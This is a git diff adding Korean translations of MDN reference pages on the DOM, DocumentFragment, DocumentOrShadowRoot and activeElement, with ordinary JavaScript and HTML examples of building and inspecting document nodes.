DOM Level 1 Core에 대해서 설명하기 위한 용어에 대한 설명입니다. 위 도면에서 나온 모든 박스는 트리의 노드입니다. 한 노드 위의 선은 노드 간의 부모 - 자식 관계를 설명합니다. 상위 노드가 부모 노드이고, 하위 노드는 자식 노드입니다. 두 자식 노드를 같은 부모 노드를 가지고 있기 때문에 형제자매 노드라고 부를 수 있습니다. 비슷하게, ancestors와 descendants라는 용어를 사용할 수도 있습니다.

+ +

What does the DOM Level 1 Core let me do?

+ +

The W3C DOM Level 1은 컨텐츠 트리를 웹 페이지 개발자가 원하는 어떤 방식으로든 바꿀 수 있게 합니다. 백지 상태에서 HTML 문서를 제작할 수 있을 만큼 강력합니다. 또한 스크립트 언어를 통해 언제 어디서든 HTML 문서를 개발자가 조작할 수 있도록 합니다. 자바스크립트를 통해서 개발자는 동적으로 DOM을 가장 쉽게 변경할 수 있습니다. 자바스크립트는 전역 객체의 document 객체를 통해 오래된 브라우저가 접근했던 그 방식대로, HTML 문서에 접근 가능합니다, 이 document 객체는 the W3C's DOM Level 1 spec의 Document interface 가 적용되어 있습니다.

+ +

A simple example

+ +

개발자가 상단의 HTML 문서에서 header의 내용을 바꾸고, 한 문단(Paragraph) 대신 두 문단으로 적용하고 싶다면, 아래와 같은 스크립트를 작성할 수 있습니다. 

+ +

HTML Content

+ +
<body>
+<input type="button" value="Change this document." onclick="change()">
+<h2>Header</h2>
+<p>Paragraph</p>
+</body>
+
+ +

JavaScript Content

+ +
  function change() {
+    // document.getElementsByTagName("H2") 는 <h2> 엘리먼트의
+    // NodeList를 반환(return)합니다. 0부터 시작합니다.
+
+    var header = document.getElementsByTagName("H2").item(0);
+    // 헤더의 첫번째 자식 노드는 Text 노드입니다.
+    header.firstChild.data = "A dynamic document";
+    // 이제 헤더는 "A dynamic document"가 되었습니다.
+
+    var para = document.getElementsByTagName("P").item(0);
+    para.firstChild.data = "This is the first paragraph.";
+
+    // 두번째 문단을 만들기 위한 새로운 Text 노드를 만들었습니다.
+    var newText = document.createTextNode("This is the second paragraph.");
+    // 두번째 문단을 만들기 위한 새로운 p 엘리먼트를 만들었습니다.
+    var newElement = document.createElement("P");
+    // 새로운 p 엘리먼트에 텍스트를 넣어 문단을 만듭니다.
+    newElement.appendChild(newText);
+    // 생성한 문단을 HTML 문서 마지막에 넣기 위해
+    // (para의 부모인) HTML BODY에 append합니다.
+    para.parentNode.appendChild(newElement);
+  }
+ +

{{ EmbedLiveSample('A_simple_example', 800, 300) }}

+ +

여기에서 완성된 예시를 확인하실 수 있습니다.

+ +

How can I learn more?

+ +

이제 DOM의 기본적인 개념에 대한 설명이 끝났습니다. DOM Level 1 fundamental methods 에 대해서 궁금하시다면, 더 자세히 공부하실 수 있습니다.

+ +

더욱 정확하고 엄밀한 설명은 W3C DOM Level 1 Core specification 에서 확인하실 수 있습니다. 개발자에게 정보는 DOM 객체에 대한 설명과, 객체의 특성과 메소드에 대한 설명이 특히 유용합니다. MDN의 다른 DOM 관련 문서도 참고 부탁 드립니다.

+ +
+

Original Document Information

+ + +
diff --git "a/files/ko/web/api/document_object_model/\354\206\214\352\260\234/index.html" "b/files/ko/web/api/document_object_model/\354\206\214\352\260\234/index.html" new file mode 100644 index 0000000000..b31dbc43d9 --- /dev/null +++ "b/files/ko/web/api/document_object_model/\354\206\214\352\260\234/index.html" @@ -0,0 +1,239 @@ +--- +title: DOM 소개 +slug: Web/API/Document_Object_Model/소개 +tags: + - DOM + - 가이드 + - 문서 +translation_of: Web/API/Document_Object_Model/Introduction +--- +

이 문서는 {{glossary("DOM")}}에 대한 개념을 간략하게 소개하는 문서이다: DOM 이 무엇이며, 그것이 어떻게 {{glossary("HTML")}}, {{glossary("XML")}} 문서들을 위한 구조를 제공하는지, 어떻게 DOM 에 접근하는지, API 가 어떻게 사용되는지에 대한 참조 정보와 예제들을 제공한다. 

+ +

DOM 이란?

+ +

문서 객체 모델(The Document Object Model, 이하 DOM) 은 HTML, XML 문서의 프로그래밍 interface 이다. DOM은 문서의 구조화된 표현(structured representation)을 제공하며 프로그래밍 언어가 DOM 구조에 접근할 수 있는 방법을 제공하여 그들이 문서 구조, 스타일, 내용 등을 변경할 수 있게 돕는다. DOM 은 구조화된 nodes와 property 와 method 를 갖고 있는 objects로 문서를 표현한다. 이들은 웹 페이지를 스크립트 또는 프로그래밍 언어들에서 사용될 수 있게 연결시켜주는 역할을 담당한다.

+ +

웹 페이지는 일종의 문서(document)다.  이 문서는 웹 브라우저를 통해 그 내용이 해석되어 웹 브라우저 화면에 나타나거나 HTML 소스 자체로 나타나기도 한다. 동일한 문서를 사용하여 이처럼 다른 형태로 나타날 수 있다는 점에 주목할 필요가 있다. DOM 은 동일한 문서를 표현하고, 저장하고, 조작하는 방법을 제공한다. DOM 은 웹 페이지의 객체 지향 표현이며, 자바스크립트와 같은 스크립팅 언어를 이용해 DOM 을 수정할 수 있다.

+ +

W3C DOMWHATWG DOM 표준은 대부분의 브라우저에서 DOM 을 구현하는 기준이다. 많은 브라우저들이 표준 규약에서 제공하는 기능 외에도 추가적인 기능들을 제공하기 때문에 사용자가 작성한 문서들이 각기 다른 DOM 이 적용된 다양한 브라우저 환경에서 동작할 수 있다는 사실을 항상 인지하고 있어야 한다.

+ +

예를 들어, 표준 DOM 에서는 문서 안에서 모든 <P> elements 에 대한 list 를 리턴하는 getElementsByTagName method 를 정의하고 있다:

+ +
var paragraphs = document.getElementsByTagName("P");
+// paragraphs[0] is the first <p> element
+// paragraphs[1] is the second <p> element, etc.
+alert(paragraphs[0].nodeName);
+
+ +

웹 페이지를 수정하거나 생성하는데 사용되는 모든 property, method, event 들은 objects 로 구성된다. 예를 들어 document object 는 document 자체를 의미하며, table object 는 HTML table 에 접근하기 위한 HTMLTableElement DOM 인터페이스를 구현한 것이다. 이 문서는 Gecko 기반의 브라우저에서 구현된 DOM 에 대한 object-by-object reference 를 제공한다.

+ +

DOM 과 자바스크립트

+ +

이 문서의 대부분의 예제와 같이, 위에서 사용된 예제는 {{glossary("JavaScript")}}이다. 위의 예제는 자바스크립트로 작성되었지만 문서(document) 와 문서의 요소(element) 에 접근하기 위해 DOM 이 사용되었다. DOM 은 프로그래밍 언어는 아니지만 DOM 이 없다면 자바스크립트 언어는 웹 페이지 또는 XML 페이지 및 요소들과 관련된 모델이나 개념들에 대한 정보를 갖지 못하게 된다. 문서의 모든 element - 전체 문서, 헤드, 문서 안의 table, table header, table cell 안의 text - 는 문서를 위한 document object model 의 한 부분이다. 때문에, 이러한 요소들을 DOM 과 자바스크립트와 같은 스크립팅 언어를 통해 접근하고 조작할 수 있는 것이다.  

+ +

초창기에는 자바스크립트와 DOM 가 밀접하게 연결되어 있었지만,  나중에는 각각 분리되어 발전해왔다. 페이지 콘텐츠(the page content)는 DOM 에 저장되고 자바스크립트를 통해 접근하거나 조작할 수 있다. 이것을 방정식으로 표현하면 아래와 같다:

+ +

API (web or XML page) = DOM + JS (scripting language)

+ +

DOM 은 프로그래밍 언어와 독립적으로 디자인되었다. 때문에 문서의 구조적인 표현은 단일 API 를 통해 이용가능하다.  이 문서에서는 자바스크립트를 주로 사용하였지만, DOM 의 구현은 어떠한 언어에서도 가능하다. 아래는 파이썬을 사용한 예제이다:

+ +
# Python DOM example
+import xml.dom.minidom as m
+doc = m.parse("C:\\Projects\\Py\\chap1.xml");
+doc.nodeName # DOM property of document object;
+p_list = doc.getElementsByTagName("para");
+
+ +

웹에서 자바스크립트 사용하기와 관련된 기술에 대한 추가정보는 자바스크립트 기술 개요 문서를 참조하라.

+ +

DOM 에 어떻게 접근할 수 있는가?

+ +

DOM 을 사용하기 위해 특별히 해야할 일은 없다. 각각의 브라우저는 자신만의 방법으로 DOM 구현하였으며, 이로 인해 실제 DOM 기준을 따르는지 확인해야 하는 번거로움이 발생하였다. (이 문제는 이 문서에서 피하고 싶어하는 주제이기도 하다.) 모든 웹 브라우저는 스크립트가 접근할 수 있는 웹 페이지를 만들기 위해 어느 정도의 DOM 을 항상 사용한다. 

+ +

스크립트를 작성할 때(인라인 <script> 요소를 사용하거나 웹 페이지 안에 있는 스크립트 로딩 명령을 사용하여), 문서 자체를 조작하거나 문서의 children 을 얻기 위해 {{domxref("document")}} 또는 window elements 를 위한 API 를 즉시 사용할 수 있다. DOM 프로그래밍은 아래처럼 window object 로 부터 alert() 함수를 사용하여 alert message 를 표시하는 매우 간단한 것일 수도 있고 다음번 예제처럼 새로운 content 를 작성하는 복잡한 DOM 이 될 수도 있다.

+ +
<body onload="window.alert('welcome to my home page!');">
+
+ +

아래의 자바스크립트는 문서가 로드될 때(모든 DOM을 사용할 수 있게 되는 때임) 실행되는 함수를 정의하였다. 이 함수는 새로운 H1 element 를 생성하고, element 에 text 를 추가하며, H1 을 이 문서의 트리에 추가한다.

+ +
<html>
+  <head>
+    <script>
+       // run this function when the document is loaded
+       window.onload = function() {
+
+         // create a couple of elements in an otherwise empty HTML page
+         var heading = document.createElement("h1");
+         var heading_text = document.createTextNode("Big Head!");
+         heading.appendChild(heading_text);
+         document.body.appendChild(heading);
+      }
+    </script>
+  </head>
+  <body>
+  </body>
+</html>
+
+ +

중요한 데이터 타입들

+ +

이 문서는 objects 와 types 을 최대한 간단하게 설명하려 한다. API 에는 우리가 반드시 알고 있어야 할 수많은 data types 이 있다는 사실을 염두해 두기 바란다.  이 문서에서는 nodes 는 elements 로, 노드의 arrays 는 nodeLists(또는 elements), attribute 노드들은 attributes 로 표현하였다.

+ +

아래의 표는 이러한 data types 에 대한 간략한 설명이다.

+ + + + + + + + + + + + + + + + + + + + + + + + +
document +

member 가 document type 의 object 를 리턴할 때(예를 들어 element의 ownerDocument property 는 그것이 속해 있는 document 를 return 한다. ), 이 object 는 root document object 자체이다. 는 document object 에 대한 설명은 DOM document Reference 챕터를 참조하라.

+
element +

element 는 DOM API 의 member 에 의해 return 된 element 또는 element type 의 node 를 의미한다. document.createElement() method 가 node 를 참조하는 object 를 리턴한다고 말하는 대신, 이 method 가 DOM 안에서 생생되는 element 를 리턴한다고 좀 더 단순하게 말할 수 있다. element 객체들은 DOM Element interface 와 함께 좀 더 기본적인 Node interface 를 구현한 것이기 때문에 이 reference 에는 두 가지가 모두 포함되었다고 생각하면 된다.

+
nodeList +

nodeList 는 elements 의 배열이다. (document.getElementsByTagName() method 에 의해 리턴된 것과 같은) nodeList의 Items 은 index 를 통해 접근 가능하며, 다음과 같이 두 가지 방식이 있다:

+ +
    +
  • list.item(1)
  • +
  • list[1]
  • +
+ 위의 방식들은 동일한 것이다. item()method는 nodeList object 의 단일 method 이다. 두번째 방식은 list 에서 두번째 item 을 fetch 하는 전형적인 array syntax 이다.  
attribute +

attribute 가 member 에 의해 리턴되는 것은(예를 들어 createAttribute() method 호출에 의한 리턴), attribute 에 대한 특별한 인터페이스를 노출하는 object reference 이다. attributes 는 DOM 에서 elements 와 같은 nodes 이다. elements 만큼 많이 사용되지는 않는다.

+
namedNodeMap +

namedNodeMap 는 array 와 유사하지만 items 은 name 또는 index 에 의해 접근 가능하다. 리스트는 특별한 정렬이 적용되지 않았기 enumeration 할 때 index 를 주로 사용한다. namedNodeMap 는 이를 위해 item() method 가 있으며, namedNodeMap 에 item 을 추가하거나 삭제할 수 있다.

+
+ +

DOM interfaces

+ +

이 문서는 objects 와 DOM 에서 조작가능한 것들에 대해 설명하고 있다. 사람들은 HTML FORM element 가 HTMLFormElement interface 로부터 name property 를 얻고, className property 는  HTMLElement interface 로부터 얻는 것에 대해 별로 관심을 보이지 않는 것 같다. 두가지 경우 모두, property 는 form object 안에 있는 것이다. 

+ +

하지만 DOM 안에 구현된 objects 와 interfaces 사이의 관계는 혼동될 수 있다. 이 섹션에서는 DOM specification 안의 실제  interfaces 와 그들을 어떻게 활용할 수 있는지에 대해 살펴보도록 하겠다.

+ +

Interfaces 와 Objects

+ +

많은 objects 가 여러 개의 다른 interfaces 와 연관되어 있다.  예를 들어, table object 는 createCaption, insertRow method 들이 포함된 {{domxref("HTMLTableElement")}} 을 구현한 것이다. table object 는 HTML element 이기도 하기 때문에, table 은 Element interface(DOM {{domxref("Element")}} Reference 챕터 참조)도 구현한다. 마지막으로, HTML element 는 DOM 이 연관되어 있는 한 nodes 트리(tree)에서 하나의 node 이다. nodes 트리는 웹 페이지 또는 XML 페이지를 위한 object model 을 구성한다. 때문에 table element 는 보다 기본적인 Element 에서 파생된 Node interface 를 구현하고 있다.

+ +

아래의 예제처럼, table object 를 참조하게 되면, 기본적으로 이들 3 가지 interfaces 를 사용할 수 있게 된다.

+ +
var table = document.getElementById("table");
+var tableAttrs = table.attributes; // Node/Element interface
+for (var i = 0; i < tableAttrs.length; i++) {
+  // HTMLTableElement interface: border attribute
+  if(tableAttrs[i].nodeName.toLowerCase() == "border")
+    table.border = "1";
+}
+// HTMLTableElement interface: summary attribute
+table.summary = "note: increased border";
+
+ +

DOM 의 핵심 Interfaces

+ +

이 섹션은 DOM 에서 가장 많이 사용되는 interfaces 를 정리해보았다. 여기에서는 이들 API 가 실제로 어떤 일을 하는지 설명하는 대신 DOM 을 사용하면서 자주 만나게 되는 methods 와 properties 를 보여줄 것이다.  이들 API 는 이 책의 마지막에 소개된 DOM 예제에서도 사용되었다.

+ +

Documentwindow objects 는 DOM 프로그래밍에서 가장 자주 사용하는 objects 이다.  간단하게 설명하자면, window object 는 브라우저와 같다고 할 수 있으며, document object 는 root document 자체라고 할 수 있다. generic Node interface 로부터 상속받은 ElementNodeElement interfaces 가 협력하여 각각의 elements 에서 사용할 수 있는 수많은 methods 와 properties 를 제공한다. 이러한 elements 는 이전 섹션에서 설명한 table object 예제에서도 살펴봤듯이, elements 가 보유한 데이터를 처리할 수 있는 특정한 interfaces 도 가지고 있다.

+ +

아래는 웹 페이지, XML 페이지 스크립팅에서 DOM 을 사용하는 공통적인 API 들의 간략한 목록이다. 

+ + + +

DOM API 테스팅

+ +

이 문서는 사용자가 웹 개발에 사용할 수 있는 모든 interface 에 대한 예제를 제공한다. 예제는 <script> element 안에서 DOM 에 접근하는 완벽한 HTML 페이지 형태인 것도 있고, form 에서 script 를 실행하기 위해 버튼과 같은 interface 가 필요한 경우도 있으며, DOM 이 목록화되어 수행되는 HTML elements 도 있을 것이다. 사용자들은 이러한 예제를 새로운 HTML 문서에 복사하여 브라우저에서 실행할 수 있다. 

+ +

어떤 예제는 매우 간단할 수도 있다. HTML elements 에 대한 interface의 기본적인 관계만 보여주는 이러한 예제를 실행할 때는, 스크립트에서 쉽게 접근할 수 있는 test page 를 설정할 수도 있다. 아래의 예제는 interface를 테스트 할 수 있는 함수가 위치할 수 있는 header 안에  <script> element 제공한다. 이 함수는 retrieve, set, 조작할 수 있는 attributes 가 포함된 HTML elements 가 사용되었으며, 브라우저에서 이들 함수를 호출하기 위해 웹 UI 를 제공한다.

+ +

사용자는 자신이 관심있어 하는 DOM interfaces 를 테스트 하기 위해, 이 test page 를 사용하거나 이와 비슷한 것을 만들어 브라우저에서 어떻게 동작하는지 확인할 수 있다. 사용자는 test() 함수 내용을 필요에 따라 업데이트할 수 있다. (버튼 추가, elements 추가 등)

+ +
<html>
+  <head>
+    <title>DOM Tests</title>
+    <script type="application/javascript">
+    function setBodyAttr(attr,value){
+      if (document.body) eval('document.body.'+attr+'="'+value+'"');
+      else notSupported();
+    }
+    </script>
+  </head>
+  <body>
+    <div style="margin: .5in; height: 400;">
+      <p><b><tt>text</tt>color</b></p>
+      <form>
+        <select onChange="setBodyAttr('text',
+        this.options[this.selectedIndex].value);">
+          <option value="black">black
+          <option value="darkblue">darkblue
+        </select>
+        <p><b><tt>bgColor</tt></b></p>
+        <select onChange="setBodyAttr('bgColor',
+        this.options[this.selectedIndex].value);">
+          <option value="white">white
+          <option value="lightgrey">gray
+        </select>
+        <p><b><tt>link</tt></b></p>
+        <select onChange="setBodyAttr('link',
+        this.options[this.selectedIndex].value);">
+          <option value="blue">blue
+          <option value="green">green
+        </select>  <small>
+        <a href="http://www.brownhen.com/dom_api_top.html" id="sample">
+        (sample link)</a></small><br>
+      </form>
+      <form>
+        <input type="button" value="version" onclick="ver()" />
+      </form>
+    </div>
+  </body>
+</html>
+
+ +

단일 페이지(예를 들어, 웹 페이지의 색상에 영향을 주는 property 설정하는) 안의 수많은 interfaces 를 테스트하기 위해 설정 버튼, textfield, 또는 다른 HTML elements를 사용하여 유사한 테스트 페이지를 만들 수 있다. 아래의 스크린샷은 테스트를 위해 어떻게 interfaces를 그룹화하는지에 대한 아이디어를 제공하고 있다.  

+ +
+
Figure 0.1 Sample DOM Test Page
+Image:DOM_Ref_Introduction_to_the_DOM.gif
+ +

이 예제에서 드롭다운 메뉴는 웹 페이지에서 DOM 접근가능한 배경색상(bgColor), 하이퍼링크 색상(aLink), 텍스트 색상(text)을 동적으로 업데이트한다. 어떻게 자신의 test pages 를 디자인하더라도, interface 테스트는 DOM 을 효과적으로 사용하는 법을 배우는 데 매우 중요한 수단임을 명심하라.

+ + + + + +
{{DefaultAPISidebar("DOM")}}
diff --git a/files/ko/web/api/documentfragment/index.html b/files/ko/web/api/documentfragment/index.html new file mode 100644 index 0000000000..a22770cfae --- /dev/null +++ b/files/ko/web/api/documentfragment/index.html @@ -0,0 +1,139 @@ +--- +title: DocumentFragment +slug: Web/API/DocumentFragment +tags: + - API + - DOM + - DocumentFragment + - Documents + - Interface + - Reference + - Web Components +translation_of: Web/API/DocumentFragment +--- +
{{ APIRef("DOM") }}
+ +

DocumentFragment 인터페이스는 부모가 없는 아주 작은 document 객체를 나타냅니다. {{domxref("Document")}}의 경량화된 버전으로 사용되며 표준문서와 같이 노드로 구성된 문서 구조의 일부를 저장합니다. 중요한 차이점은 DocumentFragment는 활성화된 문서 트리 구조의 일부가 아니기 때문에 fragment를 변경해도 문서에는 영향을 미치지 않으며({{Glossary("reflow")}} 포함) 성능에도 영향이 없다는 점입니다.

+ +

{{InheritanceDiagram}}

+ +

생성자

+ +
+
{{ domxref("DocumentFragment.DocumentFragment()", "DocumentFragment()") }}
+
새로운 DocumentFragment 객체를 생성하여 반환합니다.
+
+ +

속성

+ +

이 인터페이스는 특정한 속성이 없지만 부모인 {{domxref("Node")}}, {{domxref("ParentNode")}}의 속성을 상속합니다.

+ +
+
{{ domxref("ParentNode.children") }} {{readonlyInline}}{{experimental_inline}}
+
DocumentFragment 객체의 자식 {{domxref("Element")}}를 전부 포함하는 실시간 {{domxref("HTMLCollection")}}을 반환합니다.
+
{{ domxref("ParentNode.firstElementChild") }} {{readonlyInline}}{{experimental_inline}}
+
DocumentFragment 객체의 첫번째 자식 {{domxref("Element")}}를 반환합니다. 없으면 null을 반환합니다.
+
{{ domxref("ParentNode.lastElementChild") }} {{readonlyInline}}{{experimental_inline}}
+
DocumentFragment 객체의 마지막 자식 {{domxref("Element")}}를 반환합니다. 없으면 null을 반환합니다.
+
{{ domxref("ParentNode.childElementCount") }} {{readonlyInline}}{{experimental_inline}}
+
DocumentFragment가 가진 자식 수를 unsigned long 타입으로 반환합니다.
+
+ +

메서드

+ +

이 인터페이스는 부모인 {{domxref("Node")}}와 {{domxref("ParentNode")}} 인터페이스의 메서드를 상속합니다.

+ +
+
{{domxref("DocumentFragment.querySelector()")}}
+
DocumentFragment 내 지정된 선택자와 일치하는 첫번째 {{domxref("Element")}} 노드를 반환합니다.
+
{{domxref("DocumentFragment.querySelectorAll()")}}
+
DocumentFragment 내 지정된 선택자와 일치하는 모든 {{domxref("Element")}} 노드를 {{domxref("NodeList")}} 형태로 반환합니다.
+
{{domxref("DocumentFragment.getElementById()")}}
+
DocumentFragment 내 지정된 ID와 일치하는 첫번째 {{domxref("Element")}} 노드를 반환합니다. 기능적으로 {{domxref("Document.getElementById()")}}와 동일합니다.
+
+ +

사용법

+ +

DocumentFragment의 일반적인 용도는 DocumentFragment를 생성하고, 그 안에서 DOM 하위 트리를 조립한 다음, {{domxref("Node.appendChild", "appendChild()")}}나 {{domxref("Node.insertBefore", "insertBefore()")}}와 같은 {{domxref("Node")}} 인터페이스 메서드를 사용하여 DOM에 삽입하는 것입니다. 이렇게 하면 DocumentFragment의 노드들이 DOM으로 이동되고 빈 DocumentFragment만 남게 됩니다. 모든 노드가 한 번에 문서에 삽입되기 때문에 노드를 개별로 하나씩 삽입할 때마다 리플로우와 렌더링을 해주는 대신 단 한 번의 리플로우와 렌더링만 발생하게 됩니다.

+ +

이 인터페이스는 웹 컴포넌트를 사용할 때도 매우 유용합니다: {{HTMLElement("template")}} 요소는 {{domxref("HTMLTemplateElement.content")}} 속성에 DocumentFragment를 포함하고 있습니다.

+ +

빈 DocumentFragment는 {{domxref("document.createDocumentFragment()")}} 메서드나 생성자를 이용하여 만들 수 있습니다.

+ +

예제

+ +

HTML

+ +
<ul id="list"></ul>
+
+ +

JavaScript

+ +
var list = document.querySelector('#list')
+var fruits = ['Apple', 'Orange', 'Banana', 'Melon']
+
+var fragment = new DocumentFragment()
+
+fruits.forEach(function (fruit) {
+  var li = document.createElement('li')
+  li.innerHTML = fruit
+  fragment.appendChild(li)
+})
+
+list.appendChild(fragment)
+
+ +

결과

+ +

{{ EmbedLiveSample('예제', '', '', '', 'Web/API/DocumentFragment') }}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
표준상태비고
{{SpecName('DOM WHATWG', '#interface-documentfragment', 'DocumentFragment')}}{{Spec2('DOM WHATWG')}}Added the constructor and the implementation of {{domxref("ParentNode")}}.
{{SpecName('Selectors API Level 1', '#the-apis', 'DocumentFragment')}}{{Spec2('Selectors API Level 1')}}Added the querySelector() and querySelectorAll() methods.
{{SpecName('DOM3 Core', 'core.html#ID-B63ED1A3', 'DocumentFragment')}}{{Spec2('DOM3 Core')}}No change from {{SpecName('DOM2 Core')}}
{{SpecName('DOM2 Core', 'core.html#ID-B63ED1A3', 'DocumentFragment')}}{{Spec2('DOM2 Core')}}No change from {{SpecName('DOM1')}}
{{SpecName('DOM1', 'level-one-core.html#ID-B63ED1A3', 'DocumentFragment')}}{{Spec2('DOM1')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.DocumentFragment")}}

+ +

참조

+ + diff --git a/files/ko/web/api/documentorshadowroot/activeelement/index.html b/files/ko/web/api/documentorshadowroot/activeelement/index.html new file mode 100644 index 0000000000..2f4d4394d9 --- /dev/null +++ b/files/ko/web/api/documentorshadowroot/activeelement/index.html @@ -0,0 +1,94 @@ +--- +title: DocumentOrShadowRoot.activeElement +slug: Web/API/DocumentOrShadowRoot/activeElement +tags: + - API + - Document + - DocumentOrShadowRoot + - Focus + - Property + - Reference + - ShadowRoot +translation_of: Web/API/DocumentOrShadowRoot/activeElement +--- +
{{APIRef("Shadow DOM")}}
+ +

{{domxref("Document")}}와 {{domxref("ShadowRoot")}} 인터페이스의 activeElement 읽기 전용 속성은 DOM과 섀도우 DOM 내에서 현재 포커스를 받은 {{domxref("Element")}} 객체를 반환합니다. 이 속성은 {{domxref("DocumentOrShadowRoot")}} {{Glossary("mixin", "믹스인")}}에서 상속받습니다.

+ +

activeElement 접근 시점에 텍스트를 블록 선택하고 있는 경우 해당하는 {{htmlelement("input")}}이나 {{htmlelement("textarea")}} 객체를 반환하는데, 그러면 그 객체의 {{domxref("Document.selectionStart", "selectionStart")}}와 {{domxref("Document.selectionEnd", "selectionEnd")}} 메서드를 사용해 선택에 대한 더 자세한 정보를 알아낼 수 있습니다. 포커스가 자주 가는 다른 경우로는 {{htmlelement("select")}} 요소나 type"button", "checkbox", "radio"인 {{htmlelement("input")}} 요소가 있습니다.

+ +

보통 사용자는 포커스 가능한 요소를 Tab 키를 사용해 탐색할 수 있고, 스페이스 바를 사용해 활성화(버튼을 누르거나 라디오 버튼을 켜는 등)할 수 있습니다. 포커스 가능한 요소는 현재 플랫폼과 브라우저 설정에 따라 다릅니다. 가령 macOS의 경우, 기본값에서는 텍스트 입력 칸이 아니면 보통 포커스 할 수 없습니다.

+ +
+

참고: 포커스(사용자의 입력 이벤트를 받는 요소)와 선택(문서 내에서 강조하고 있는 부분)은 다릅니다. 현재 선택 영역은 {{domxref("window.getSelection()")}}을 사용해 가져올 수 있습니다.

+
+ +

구문

+ +
element = DocumentOrShadowRoot.activeElement
+ +

+ +

포커스를 갖고 있는 {{domxref("Element")}}. 그런 요소가 없으면 {{htmlelement("body")}} 또는 {{jsxref("null")}}.

+ +

예제

+ +

HTML

+ +
<p>아래 두 영역에서 텍스트를 선택해보세요.</p>
+
+<form>
+  <textarea name="ta-example-one" id="ta-example-one" rows="7" cols="40">텍스트 영역 1. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec tincidunt, lorem a porttitor molestie, odio nibh iaculis libero, et accumsan nunc orci eu dui.</textarea>
+  <textarea name="ta-example-two" id="ta-example-two" rows="7" cols="40">텍스트 영역 2. Fusce ullamcorper, nisl ac porttitor adipiscing, urna orci egestas libero, ut accumsan orci lacus laoreet diam. Morbi sed euismod diam.</textarea>
+</form>
+
+<p>활성화된 요소 ID: <b id="output-element"></b></p>
+<p>선택한 텍스트: <b id="output-text"></b></p>
+ +

JavaScript

+ +
function onMouseUp(e) {
+  const activeTextarea = document.activeElement;
+  const selection = activeTextarea.value.substring(
+    activeTextarea.selectionStart, activeTextarea.selectionEnd
+  );
+
+  const outputElement = document.getElementById('output-element');
+  const outputText = document.getElementById('output-text');
+  outputElement.innerHTML = activeTextarea.id;
+  outputText.innerHTML = selection;
+}
+
+const textarea1 = document.getElementById('ta-example-one');
+const textarea2 = document.getElementById('ta-example-two');
+textarea1.addEventListener('mouseup', onMouseUp, false);
+textarea2.addEventListener('mouseup', onMouseUp, false);
+ +

결과

+ +

{{ EmbedLiveSample('예제', '400', '400') }}

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'interaction.html#dom-document-activeelement', 'activeElement')}}{{Spec2('HTML WHATWG')}}
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.DocumentOrShadowRoot.activeElement")}}

+
diff --git a/files/ko/web/api/documentorshadowroot/index.html b/files/ko/web/api/documentorshadowroot/index.html new file mode 100644 index 0000000000..74a6296b29 --- /dev/null +++ b/files/ko/web/api/documentorshadowroot/index.html @@ -0,0 +1,74 @@ +--- +title: DocumentOrShadowRoot +slug: Web/API/DocumentOrShadowRoot +tags: + - API + - Document + - DocumentOrShadowRoot + - Interface + - NeedsTranslation + - Reference + - ShadowRoot + - TopicStub + - shadow dom +translation_of: Web/API/DocumentOrShadowRoot +--- +
{{APIRef("Web Components")}}
+ +

Shadow DOM API 의 DocumentOrShadowRoot 믹스인(mixin)은 문서와 섀도우 루트간에 공유되는 API를 제공합니다. 다음 기능은 문서{{DOMxRef("Document")}}와 {{DOMxRef("ShadowRoot")}}에 모두 포함되어 있습니다.

+ +

Properties

+ +
+
{{DOMxRef("DocumentOrShadowRoot.activeElement")}}{{ReadOnlyInline}}
+
포커스를 가지는 섀도우 루트 내의 요소{{DOMxRef('Element')}}를 반환합니다.
+
{{DOMxRef("DocumentOrShadowRoot.fullscreenElement")}}{{ReadOnlyInline}}
+
현재 이 문서에서 full screen mode인 요소{{DOMxRef('Element')}}를 반환합니다.
+
{{DOMxRef("DocumentOrShadowRoot.pointerLockElement")}} {{Experimental_Inline}}{{ReadOnlyInline}}
+
포인터가 잠겨있는 동안 마우스 이벤트의 대상으로 설정된 요소를 반환합니다. 잠금이 보류중이거나 포인터가 잠금 해제되어 있거나, 대상이 다른 문서(document)에 있으면 null을 반환합니다.
+
{{DOMxRef("DocumentOrShadowRoot.styleSheets")}}{{ReadOnlyInline}}
+
문서에 명시적으로 링크되었거나 포함하고 있는 스타일 시트의 {{DOMxRef('CSSStyleSheet')}} 객체의 {{DOMxRef('StyleSheetList')}}를 반환합니다.
+
+ +

Methods

+ +
+
{{DOMxRef("DocumentOrShadowRoot.getSelection()")}}
+
유저가 선택한 텍스트의 범위, 또는 캐럿(caret - 텍스트 커서)의 현재 위치를 나타내는 {{DOMxRef('Selection')}}객체를 반환합니다.
+
{{DOMxRef("DocumentOrShadowRoot.elementFromPoint()")}}
+
지정된 좌표의 최상위 요소를 반환합니다.
+
{{DOMxRef("DocumentOrShadowRoot.elementsFromPoint()")}}
+
지정된 자표에 있는 모든 요소의 배열을 반환합니다.
+
{{DOMxRef("DocumentOrShadowRoot.caretPositionFromPoint()")}}
+
캐럿을 포함한 DOM 노드와 그 노드 내에서 캐럿의 문자 오프셋을 포함한 {{DOMxRef('CaretPosition')}}를 반환합니다.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#mixin-documentorshadowroot','DocumentOrShadowRoot')}}{{Spec2('DOM WHATWG')}}Initial definition.
{{SpecName('Shadow DOM','#extensions-to-the-documentorshadowroot-mixin','DocumentOrShadowRoot')}}{{Spec2('Shadow DOM')}}Implementation in Shadow DOM.
+ +

Browser Compatibility

+ + + +

{{Compat("api.DocumentOrShadowRoot")}}

+ +

[1] This interface's features are still implemented on the {{DOMxRef("Document")}} object.

diff --git a/files/ko/web/api/documentorshadowroot/stylesheets/index.html b/files/ko/web/api/documentorshadowroot/stylesheets/index.html new file mode 100644 index 0000000000..cf6e1c38ce --- /dev/null +++ b/files/ko/web/api/documentorshadowroot/stylesheets/index.html @@ -0,0 +1,57 @@ +--- +title: DocumentOrShadowRoot.styleSheets +slug: Web/API/DocumentOrShadowRoot/styleSheets +tags: + - API + - Document + - Propert + - Reference +translation_of: Web/API/DocumentOrShadowRoot/styleSheets +--- +
{{SeeCompatTable}}{{APIRef("Shadow DOM")}}
+ +

